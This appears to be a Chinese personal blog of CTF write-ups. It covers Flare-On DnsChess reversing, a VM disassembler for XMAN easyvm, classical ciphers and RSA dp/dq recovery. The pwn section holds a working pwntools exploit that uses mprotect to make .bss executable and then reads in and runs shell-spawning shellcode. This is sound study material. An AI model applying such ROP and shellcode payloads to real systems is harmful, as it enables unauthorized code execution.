0x0, 0x32, 0x51, 0x2d, 0x2c, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x54, 0x18, 0x2d, 0x54, 0x54, 0x53, 0x20, 0x57, 0x28, 0x18, 0x13, 0x57, 0x28, 0x18, 0x13, 0x54, 0x54, 0x10, 0x24, 0x54, 0x0, 0x57, 0x29, 0x54, 0x0, 0x57, 0x3b, 0x2d, 0x29, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x0, 0x32, 0x0, 0x54, 0x3, 0x22, 0x33, 0x54, 0x11, 0x18, 0x10, 0x54, 0x54, 0x4a, 0xd, 0x54, 0x54, 0x10, 0x24, 0x54, 0x11, 0x8, 0x7, 0x54, 0x54, 0x22, 0x25, 0x2d, 0x2b, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x11, 0x18, 0x2b, 0x54, 0x13, 0x2a, 0x9, 0x54, 0x11, 0x18, 0x2b, 0x57, 0x38, 0x22, 0x0, 0x54, 0x3b, 0x22, 0x33, 0x54, 0x11, 0x18, 0x10, 0x54, 0x11, 0x53, 0xd, 0x57, 0x2d, 0x4, 0x17, 0x54, 0x38, 0x4a, 0xb, 0x2d, 0x25, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x2d, 0x10, 0x18, 0x54, 0x55, 0x8, 0x19, 0x54, 0x54, 0x10, 0x24, 0x54, 0x2d, 0x18, 0x3b, 0x54, 0x2d, 0x18, 0x51, 0x2d, 0x23, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x2a, 0x57, 0x11, 0x54, 0xe, 0x8, 0x33, 0x54, 0x2d, 0x14, 0x12, 0x54, 0x2d, 0x8, 0x20, 0x57, 0x2d, 0x36, 0x52, 0x54, 0x55, 0x2a, 0x54, 0x54, 0x55, 0x4, 0x25, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x38, 0x14, 0x29, 0x54, 0x13, 0x22, 0x34, 0x54, 0x3b, 0x2a, 0x2c, 0x54, 0x2d, 0x4a, 0x9, 0x54, 0x3, 0x4a, 0x50, 0x2d, 0x2e, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x3b, 0x18, 0xe, 0x57, 0x38, 0x26, 0xd, 0x57, 0x2d, 0x4a, 0x2, 0x54, 0x54, 0x10, 0x24, 0x54, 0x0, 0x32, 0x11, 0x57, 0x2d, 0x57, 0x54, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x3b, 0x2e, 0x53, 0x54, 0x13, 0x2a, 0x1b, 0x57, 0x2d, 0x57, 0x54, 0x54, 0x56, 0x18, 0x38, 0x2d, 0x29, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x11, 0x18, 0x2b, 0x54, 0x2d, 0x8, 0x20, 0x54, 0x55, 0xc, 0x29, 0x54, 0x57, 0x36, 0x4, 0x54, 0x0, 0x36, 0x29, 0x54, 0x54, 0x10, 0x24, 0x54, 0x3, 0x53, 0x11, 0x57, 0x2b, 0xc, 0x54, 0x54, 0x13, 0x36, 0x52, 0x2d, 0x22, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x3b, 0x2a, 0x2c, 0x54, 0xe, 0x8, 0x33, 0x54, 0x2d, 0x8, 0x20, 0x57, 0x2d, 0x36, 0x52, 0x54, 0x38, 0x0, 0x32, 0x57, 0x3b, 0xc, 0x11, 0x2d, 0x23, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x0, 0x2e, 0x4, 0x54, 0x3b, 0x22, 0x33, 0x54, 0x38, 0x4a, 0xc, 0x54, 0x2d, 0x8, 0x20, 0x54, 0x2d, 0x8, 0x10, 0x54, 0x2d, 0x8, 0x36, 0x54, 0x54, 0x36, 0x2c, 0x2d, 0x22, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x3b, 0x18, 0xe, 0x57, 0x38, 0x26, 0xd, 0x57, 0x2d, 0x4a, 0x2, 0x54, 0x54, 0x10, 0x24, 0x54, 0x0, 0x32, 0x11, 0x57, 0x2d, 0x57, 0x54, 0x2d, 0x23, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x3b, 0x2e, 0x53, 0x54, 0x13, 0x2a, 0x1b, 0x57, 0x2d, 0x57, 0x54, 0x54, 0x56, 0x18, 0x38, 0x2d, 0x22, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x11, 0x18, 0x2b, 0x54, 0x2d, 0x8, 0x20, 0x54, 0x55, 0xc, 0x29, 0x54, 0x57, 0x36, 0x4, 0x54, 0x0, 0x36, 0x29, 0x54, 0x54, 0x10, 0x24, 0x54, 0x3, 0x53, 0x11, 0x57, 0x2b, 0xc, 0x54, 0x54, 0x13, 0x36, 0x52, 0x2d, 0x23, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x3b, 0x2a, 0x2c, 0x54, 0xe, 0x8, 0x33, 0x54, 0x2d, 0x8, 0x20, 0x57, 0x2d, 0x36, 0x52, 0x54, 0x38, 0x0, 0x32, 0x57, 0x3b, 0xc, 0x11, 0x2d, 0x29, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x0, 0x2e, 0x4, 0x54, 0x3b, 0x22, 0x33, 0x54, 0x38, 0x4a, 0xc, 0x54, 0x2d, 0x8, 0x20, 0x54, 0x2d, 0x8, 0x10, 0x54, 0x2d, 0x8, 0x36, 0x54, 0x54, 0x36, 0x2c, 0x2d, 0x2f, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x52, 0x37, 0x16, 0x3b, 0x39, 0x28, 0x6, 0x3, 0x36, 0x27, 0xf, 0x0, 0x36, 0x2c, 0x6, 0x5, 0x53, 0x58, 0x18, 0x3, 0x26, 0x33, 0x4a, 0x7, 0x6, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]

def trans(v3):
v2 = 0
for k in range(8):
v2 = andd(((v3>>(7-k))&1),((97>>(7-k))&1))&1^2*v2
v2&=0xff
return v2
def get(s1,s2):
b1 = 0
b2 = 0
i=0
while s1[i]!=ord('='):
b1=s1[i]
i+=1
b2 = s2[i-1]
print(b1,b2)
return b1-b2
s = []
for i in range(0,34,2):
t = 0
ss = []
for j in range(42):
v3 = a[42*i+j]
v2 = trans(v3)
ss.append(v2)
t=get(bytes(ss),base64.b64encode(base64.b64decode(bytes(ss))))
ss = []
for j in range(42):
v3 = a[42*(i+1)+j]
v2 = trans(v3)
ss.append(v2)
t=(t<<4)+get(bytes(ss),base64.b64encode(base64.b64decode(bytes(ss))))
s.append(t)
print(bytes(s))

[rev][FlareOn6]DnsChess

国际象棋

使用域名查询,域名由:棋子类型-起始点-终止点.固定域名组成,返回IP为:127..顺序.验证

会验证顺序是否相等

解密也在getNextMove中,就是off_4120字符串,如果你获胜,就会把这个字符串拷贝到a3中显示

1.txt 为处理后的域名 ip组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
rook-c3-c6.game-of-thrones.flare-on.com
rook-c3-c6.game-of-thrones.flare-on.com 127.150.96.223 ns1.game-of-thrones.flare-on.com
knight-g1-f3.game-of-thrones.flare-on.com
knight-g1-f3.game-of-thrones.flare-on.com 127.252.212.90 ns1.game-of-thrones.flare-on.com
pawn-c2-c4.game-of-thrones.flare-on.com
pawn-c2-c4.game-of-thrones.flare-on.com 127.215.177.38 ns1.game-of-thrones.flare-on.com
knight-c7-d5.game-of-thrones.flare-on.com
knight-c7-d5.game-of-thrones.flare-on.com 127.118.118.207 ns1.game-of-thrones.flare-on.com
bishop-f1-e2.game-of-thrones.flare-on.com
bishop-f1-e2.game-of-thrones.flare-on.com 127.89.38.84 ns1.game-of-thrones.flare-on.com
rook-a1-g1.game-of-thrones.flare-on.com
rook-a1-g1.game-of-thrones.flare-on.com 127.109.155.97 ns1.game-of-thrones.flare-on.com
bishop-c1-f4.game-of-thrones.flare-on.com
bishop-c1-f4.game-of-thrones.flare-on.com 127.217.37.102 ns1.game-of-thrones.flare-on.com
bishop-c6-a8.game-of-thrones.flare-on.com
bishop-c6-a8.game-of-thrones.flare-on.com 127.49.59.14 ns1.game-of-thrones.flare-on.com
pawn-e2-e4.game-of-thrones.flare-on.com
pawn-e2-e4.game-of-thrones.flare-on.com 127.182.147.24 ns1.game-of-thrones.flare-on.com
king-g1-h1.game-of-thrones.flare-on.com
king-g1-h1.game-of-thrones.flare-on.com 127.0.143.11 ns1.game-of-thrones.flare-on.com
knight-g1-h3.game-of-thrones.flare-on.com
knight-g1-h3.game-of-thrones.flare-on.com 127.227.42.139 ns1.game-of-thrones.flare-on.com
king-e5-f5.game-of-thrones.flare-on.com
king-e5-f5.game-of-thrones.flare-on.com 127.101.64.243 ns1.game-of-thrones.flare-on.com
queen-d1-f3.game-of-thrones.flare-on.com
queen-d1-f3.game-of-thrones.flare-on.com 127.201.85.103 ns1.game-of-thrones.flare-on.com
pawn-e5-e6.game-of-thrones.flare-on.com
pawn-e5-e6.game-of-thrones.flare-on.com 127.200.76.108 ns1.game-of-thrones.flare-on.com
king-c4-b3.game-of-thrones.flare-on.com
king-c4-b3.game-of-thrones.flare-on.com 127.50.67.23 ns1.game-of-thrones.flare-on.com
king-c1-b1.game-of-thrones.flare-on.com
king-c1-b1.game-of-thrones.flare-on.com 127.157.96.119 ns1.game-of-thrones.flare-on.com
queen-d1-h5.game-of-thrones.flare-on.com
queen-d1-h5.game-of-thrones.flare-on.com 127.99.253.122 ns1.game-of-thrones.flare-on.com
bishop-f3-c6.game-of-thrones.flare-on.com
bishop-f3-c6.game-of-thrones.flare-on.com 127.25.74.92 ns1.game-of-thrones.flare-on.com
knight-d2-c4.game-of-thrones.flare-on.com
knight-d2-c4.game-of-thrones.flare-on.com 127.168.171.31 ns1.game-of-thrones.flare-on.com
pawn-c6-c7.game-of-thrones.flare-on.com
pawn-c6-c7.game-of-thrones.flare-on.com 127.148.37.223 ns1.game-of-thrones.flare-on.com
bishop-f4-g3.game-of-thrones.flare-on.com
bishop-f4-g3.game-of-thrones.flare-on.com 127.108.24.10 ns1.game-of-thrones.flare-on.com
rook-d3-e3.game-of-thrones.flare-on.com
rook-d3-e3.game-of-thrones.flare-on.com 127.37.251.13 ns1.game-of-thrones.flare-on.com
pawn-e4-e5.game-of-thrones.flare-on.com
pawn-e4-e5.game-of-thrones.flare-on.com 127.34.217.88 ns1.game-of-thrones.flare-on.com
queen-a8-g2.game-of-thrones.flare-on.com
queen-a8-g2.game-of-thrones.flare-on.com 127.57.238.51 ns1.game-of-thrones.flare-on.com
queen-a3-b4.game-of-thrones.flare-on.com
queen-a3-b4.game-of-thrones.flare-on.com 127.196.103.147 ns1.game-of-thrones.flare-on.com
queen-h5-f7.game-of-thrones.flare-on.com
queen-h5-f7.game-of-thrones.flare-on.com 127.141.14.174 ns1.game-of-thrones.flare-on.com
pawn-h4-h5.game-of-thrones.flare-on.com
pawn-h4-h5.game-of-thrones.flare-on.com 127.238.7.163 ns1.game-of-thrones.flare-on.com
bishop-e2-f3.game-of-thrones.flare-on.com
bishop-e2-f3.game-of-thrones.flare-on.com 127.230.231.104 ns1.game-of-thrones.flare-on.com
pawn-g2-g3.game-of-thrones.flare-on.com
pawn-g2-g3.game-of-thrones.flare-on.com 127.55.220.79 ns1.game-of-thrones.flare-on.com
knight-h8-g6.game-of-thrones.flare-on.com
knight-h8-g6.game-of-thrones.flare-on.com 127.184.171.45 ns1.game-of-thrones.flare-on.com
bishop-b3-f7.game-of-thrones.flare-on.com
bishop-b3-f7.game-of-thrones.flare-on.com 127.196.146.199 ns1.game-of-thrones.flare-on.com
queen-d1-d6.game-of-thrones.flare-on.com
queen-d1-d6.game-of-thrones.flare-on.com 127.191.78.251 ns1.game-of-thrones.flare-on.com
knight-b1-c3.game-of-thrones.flare-on.com
knight-b1-c3.game-of-thrones.flare-on.com 127.159.162.42 ns1.game-of-thrones.flare-on.com
bishop-f1-d3.game-of-thrones.flare-on.com
bishop-f1-d3.game-of-thrones.flare-on.com 127.184.48.79 ns1.game-of-thrones.flare-on.com
rook-b4-h4.game-of-thrones.flare-on.com
rook-b4-h4.game-of-thrones.flare-on.com 127.127.29.123 ns1.game-of-thrones.flare-on.com
bishop-c1-a3.game-of-thrones.flare-on.com
bishop-c1-a3.game-of-thrones.flare-on.com 127.191.34.35 ns1.game-of-thrones.flare-on.com
bishop-e8-b5.game-of-thrones.flare-on.com
bishop-e8-b5.game-of-thrones.flare-on.com 127.5.22.189 ns1.game-of-thrones.flare-on.com
rook-f2-f3.game-of-thrones.flare-on.com
rook-f2-f3.game-of-thrones.flare-on.com 127.233.141.55 ns1.game-of-thrones.flare-on.com
pawn-a2-a4.game-of-thrones.flare-on.com
pawn-a2-a4.game-of-thrones.flare-on.com 127.55.250.81 ns1.game-of-thrones.flare-on.com
pawn-d2-d4.game-of-thrones.flare-on.com
pawn-d2-d4.game-of-thrones.flare-on.com 127.53.176.56 ns1.game-of-thrones.flare-on.com

要改一下hosts,以便和他下棋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# coding=utf-8

import base64
import os

s = ["A fine opening","Still within book","Interesting gambit","I must find counterplay","That's risky...","Good development, but I control the center","A respectable sacrifice","I am blockaded, but have an escape","Careful! Mind your defense","I have gained a tempo","You have weak squares around your king","With my next move I will seize control","An exchange of pieces is in order","A bold move","byte_"]
a = [0xbc, 0xec, 0xd3, 0xdf, 0xdd, 0x99, 0xa5, 0xb6, 0xac, 0x15, 0x36, 0x85, 0x8d, 0x9, 0x8, 0x77, 0x52, 0x4d, 0x71, 0x54, 0x7d, 0xa7, 0xa7, 0x8, 0x16, 0xfd, 0xd7]
seq = [0]*15
b = [0]*len(a)
print(len(a))
lines = ''
with open('1.txt','r') as f:
lines = f.readlines()
for i in range(0,len(lines),2):
li = lines[i+1]
li = li.split(' ',-1)
domain = li[0]
ip = li[1]
# print(ip,domain)
ip = ip.split('.',-1)
a1 = int(ip[2])&0xf
if not int(ip[3])&1:
seq[int(ip[2])&0xf]=domain
print(domain)
b[a1]=a[a1]^int(ip[1])
b[a1+1]=a[a1+1]^int(ip[1])
# print(a1)
# print(s[a1])

print(seq)
for i in seq:
print(i)
print(bytes(b))

基本逻辑逆到了,但是顺序没有注意到

参考

https://kawing-ho.github.io/2019/flareon-dnschess/

[pwn]get_started_3dsctf_2016

1

程序中有get_flag函数,可以构造栈空间,但是pwntools打不过去,调试也调试不得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

# elf = ELF('./pwn')
# libc = ELF('/home/kali/Music/libc32/libc-2.23.so')
# libc = ELF('/lib32/libc.so.6')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
# p = remote('node3.buuoj.cn',28160)
p = process('./get_started_3dsctf_2016')
# p = gdb.debug('./get_started_3dsctf_2016')

getflag = 0x80489a0
arg1 = 0x308CD64F
arg2 = 0x195719D1
exita = 0x804E6A0
# payload = 'a'*0x38+'a'*4+p32(getflag)+p32(exita)+p32(arg1)+p32(arg2)
# # p.recvuntil('magica')
# # p.recv()
# p.sendline(payload)
# for i in range(32):
# p.send('\xff')
# p.sendline('\x00')
p.interactive()

2

使用mprotect函数,修改bss段,然后写入shellcode,getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# encoding=utf-8
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

elf = ELF('./get_started_3dsctf_2016')
# libc = ELF('/home/kali/Music/libc32/libc-2.23.so')
# libc = ELF('/lib32/libc.so.6')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
# p = remote('node3.buuoj.cn',28160)
p = process('./get_started_3dsctf_2016')
# p = gdb.debug('./get_started_3dsctf_2016')

mprotect = elf.symbols['mprotect']
# bss段起始地址
bss = 0x080EB000
# bss 段长度
bssLen = 0x1000
# 为了栈平衡,由于mprotect调用了3个参数,需要将三个参数出栈,这样也容易构造ROP链的后续部分
pop3 = 0x804951d
read = elf.symbols['read']

shellcode = asm(shellcraft.sh())

# mprotect部分 权限rwx 7
payload = 'a'*0x38+p32(mprotect)+p32(pop3)+p32(bss)+p32(bssLen)+p32(7)+p32(read)
# read 部分
payload+=p32(pop3)+p32(0)+p32(bss)+p32(0x100)+p32(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

感想

payload一次性完成了,我的payload多次跳转,存在不确定性;另外可以通过ROP链维护栈平衡

参考 https://www.cnblogs.com/lyxf/p/12113401.html

[rev][XMAN2018排位赛]easyvm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
# coding=utf-8

import base64
import os
import gmpy2

ops = [0x5, 0x1, 0xb, 0x13,
0x3, 0x3, 0x13, 0x0,
0x0, 0x13, 0x4, 0x4,
0x28, 0xc, 0x0, 0x33,
0x14, 0x0, 0x20, 0x5, 0x9, 0x1, 0x11, 0x9, 0x0, 0xb, 0xa, 0x9, 0x1, 0x4, 0xa, 0x1b, 0x5, 0x4, 0xc, 0x3, 0x1, 0x24, 0x3, 0x20, 0x28, 0x13, 0x0, 0x0, 0x7, 0x8, 0x5, 0xe, 0x8, 0xe0, 0x7, 0x2, 0x8, 0x9, 0xa, 0x2, 0x1, 0x0, 0xa, 0x18, 0x0, 0xe0, 0x1e, 0x0, 0x5, 0x1, 0x4, 0x0, 0x13, 0x3, 0x3, 0x28, 0x9, 0xa, 0x2, 0x1, 0x0, 0xa, 0x18, 0x0, 0x1f, 0x20, 0x0, 0x3, 0x1b, 0x5, 0x0, 0x7, 0x8, 0x5, 0xe, 0x8, 0xe0, 0x7, 0x2, 0x8, 0x9, 0xa, 0x2, 0x1, 0x0, 0xa, 0x18, 0x0, 0xe0, 0x1e, 0x0, 0x5, 0x1d, 0x5, 0xa, 0xd, 0xa, 0x0, 0x1b, 0x5, 0xa, 0xc, 0x3, 0x1, 0x24, 0x3, 0x1f, 0x28, 0x9, 0xa, 0x2, 0x1, 0x0, 0xa, 0x18, 0x0, 0x1f, 0x20, 0x0, 0x3, 0xd, 0x0, 0x4, 0x1b, 0x5, 0x0, 0x13, 0x3, 0x3, 0x3, 0x4, 0xd, 0x28, 0x7, 0x8, 0x5, 0xe, 0x8, 0xe0, 0x7, 0x2, 0x8, 0x9, 0xa, 0x2, 0x1, 0x0, 0xa, 0x1b, 0x5, 0x0, 0x1, 0x0, 0x4, 0xd, 0x0, 0x3, 0x1d, 0x5, 0xa, 0x13, 0xa, 0x0, 0x1b, 0x5, 0xa, 0x22, 0x4, 0x8, 0xc, 0x3, 0x1, 0x24, 0x3, 0x20, 0x28, 0x13, 0x3, 0x3, 0x13, 0x4, 0x4, 0x5, 0x1, 0xc, 0x28, 0x5, 0x9, 0x1, 0x11, 0x9, 0x3, 0xb, 0xa, 0x9, 0x1, 0x0, 0xa, 0x1b, 0x5, 0x0, 0x7, 0x8, 0x5, 0xe, 0x8, 0xdf, 0x9, 0xa, 0x8, 0x1d, 0x5, 0x0, 0x1b, 0x5, 0x0, 0x27, 0x0, 0xa, 0x17, 0x4, 0x7, 0xc, 0x3, 0x1, 0x24, 0x3, 0x20, 0x28, 0x2a]
ip = 0
l = len(ops)
last = 0
reg = ['']*14
reg[13]='0xEFBEADDE'
reg[11]='input'
reg[12]='unk_3e75'
reg[5]='stack'

while ip<l:
op1=88888888
op2=88888888
if(ip+1<l):op1 = ops[ip+1]
if(ip+2<l):op2 = ops[ip+2]
op = ops[ip]&0xfe
off = ops[ip]&1
print("%02x:%02x:"%(ip,op),end="")
s=''
if op==0:
s='mov8 reg[%d],%d'%(op1,op2)
if off:
s='mov8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==2:
s='mov32 reg[%d],%d'%(op1,op2)
if off:
s='mov32 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==4:
if off:
s='lea8 reg[%d],reg[%d]'%(op1,op2)
ip+=2
ip+=1
elif op==6:
if off:
s='lea32 reg[%d],reg[%d]'%(op1,op2)

ip+=3
elif op==8:
if off:
s='ldr32 reg[%d],reg[%d];reg[1]=*reg[a2]'%(op1,op2)

ip+=3
elif op==10:
if off:
s='ldr8 reg[%d],reg[%d];reg[1]=*reg[a2]'%(op1,op2)

ip+=3
elif op==12:
s='add8 reg[%d],%d'%(op1,op2)
if off:
s='add8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==14:
s='addp reg[%d],%d'%(op1,op2)
if off:
s='addp reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==16:
s='addp8 reg[%d],%d'%(op1,op2)
if off:
s='addp8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==18:
s='xor32 reg[%d],%d'%(op1,op2)
if off:
s='xor32 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==20:
if not off:
s='mod8 reg[%d],%d'%(op1,op2)
ip+=3
elif op==22:
s='or8 reg[%d],%d'%(op1,op2)
if off:
s='or8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==24:
s='and8 reg[%d],%d'%(op1,op2)
if off:
s='and8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==26:
s='push reg[%d],%d'%(op1,op2)
if off:
s='push reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==28:
if off:
s='pop reg[%d],reg[%d]'%(op1,op2)
ip+=2
ip+=1
elif op==30:
s='shr8 reg[%d],%d'%(op1,op2)
if off:
s='shr8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==32:
s='shl8 reg[%d],%d'%(op1,op2)
if off:
s='shl8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==34:
s='ror32 reg[%d],%d'%(op1,op2)
if off:
s='ror32 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==36:
s='cmp32 reg[%d],%d'%(op1,op2)
if off:
s='cmp32 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==38:
s='cmpeq8 reg[%d],%d'%(op1,op2)
if off:
s='cmpeq8 reg[%d],reg[%d]'%(op1,op2)
ip+=3
elif op==40:
if last!=0:
s='jnz %02x'%last
last=0
else:
s='record ip:%02x'%ip
last=ip
ip+=1
elif op==42:
s='print result'
ip+=1
else:
s='unknown'
ip+=1
print(s,end="")
try:
print(";reg[%d] is %s,reg[%d] is %s"%(op1,reg[op1],op2,reg[op2]),end="")
except:
pass
print()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
import base64
from z3 import *

res = [0x75, 0x85, 0xd1, 0x39, 0xb, 0x29, 0xcd, 0x77, 0x6d, 0x9f, 0x73, 0x23, 0x61, 0x8b, 0x4d, 0x45, 0x9d, 0x8f, 0x5b, 0x11, 0xc1, 0xc9, 0xe5, 0xcf, 0x45, 0xe5, 0xb1, 0xb3, 0x41, 0xd9, 0xcf, 0xcf]
r1 = []
x = 0xEFBEADDE
for i in range(len(res)):
r1.append(((x+i)^(res[i]))&0xff)
x = (x>>8)|(x<<(32-8))&0xffffffff
r2 = [0]*len(r1)
for i in range(len(r1)):
r2[i]=(r1[i]>>3)|(r1[i-1]<<5)&0xff
print(bytes(r2))
tab = [i*51%32 for i in range(32)]
print(tab)
rtab = [0]*32
for i in range(len(tab)):
rtab[tab[i]]=i
s = [0]*32
for i in range(len(r2)):
s[tab[i]]=r2[i]
print(bytes(s))

#xman{ae791f19bdf77357ff10bb6b0e}

[crypto][BJDCTF 2nd]老文盲了

看起来像与佛论禅,实际是考读音和语义

https://pinyin.supfree.net/

bjd{这就是flag直接交了吧}

[Crypto][Windows系统密码]

windows加密方式,打开后应该是冒号前后是两个md5,我以为是一个呢555

[Crypto][BJDCTF 2nd]燕言燕语-y1ng

一串东西难以复制,只能f12= =

看起来是ASCII序列,直接解出一个串

1
yanzi ZJQ{xilzv_iqssuhoc_suzjg}

在线解密
https://www.qqxiuzi.cn/bianma/weijiniyamima.php

所以大佬是怎么看出这时维吉尼亚密码的,可以去解密网站解密,但是更好的是学习一下维吉尼亚密码的加密方式

[crypto]传统知识+古典密码

原来天干地支有个表的,查表就可以了

http://114.xixik.com/tiangandizhi/

辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳 +甲子就加那个数

28,30,23,8,17,10,16,30

一个甲子是60,原来是这么算的

然后还有凯撒加密和栅栏加密(这种尝试就好了吗)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes

r1=[28,30,23,8,17,10,16,30]
r = [i for i in r1]
for i in range(26):
for j in range(len(r)):
r1[j]=r[j]+60
r1[j]=(r1[j]-65+i)%26+65
print(bytes(r1))

[crypto]信息时代的步伐

中文电码,是电报中传送中文信息的方法

http://code.mcdvisa.com/

还有典故 https://baike.baidu.com/item/%E4%B8%AD%E6%96%87%E7%94%B5%E7%A0%81/2667759?fr=aladdin

中文电码即一个数字代表一个编码,4位数字,具体编码有差异

[Crypto]RSA1

参考自https://blog.csdn.net/qq_32350719/article/details/102719279

原来dp是d mod (p-1)的意思

设$m,m_1,m_2$分别为明文,$m_1\equiv m\mod p,m_2\equiv m\mod q,d$为解密密钥

这样一来就是同余式方程组了,根据中国剩余定理有

$$
m_1=c^d \mod p\m_2=c^d\mod q
$$

证明

$m=c^d+pqk,m\mod p=c^d\mod p,m\mod q=c^d\mod q$

可以得到

$c^d=kp+m_1$,带入$m_2$,得$m_2=(kp+m_1)\mod q$

两边同时减去$m_1$,得到$m_2-m_1=kp\mod q$

由于$gcd(p,q)=1$,所以$p^{-1}\mod q$存在

$(m_2-m_1)*p^{-1}\equiv k\mod q$

又$\because c^d=kp+m_1$,带入得到$c^d=((m_2-m_1)*p^{-1}\mod q)*p+m_1$

带入$m\equiv c^d\mod n$,得到$m\equiv(((m_2-m_1)*p^{-1}\mod q)*p+m_1)\mod n$

这里需要求$m_1,m_2$

$d\equiv d^p\mod (p-1),d\equiv d^q\mod (q-1)$

证明:根据费马小定理$\because p\ is\ prime\therefore d^{p-1}\equiv 1\mod q$

从而$d=dp+k*(p-1)$,直接带入$m_2=c^{dp+k*(p-1)}\mod p$,$\because c^{k*(p-1)}\equiv 1\mod p$

得到$m_2=c^{dp}\mod p$

同理$m_1=c^{dq}\mod q$

所以解题脚本就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes
from z3 import *

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
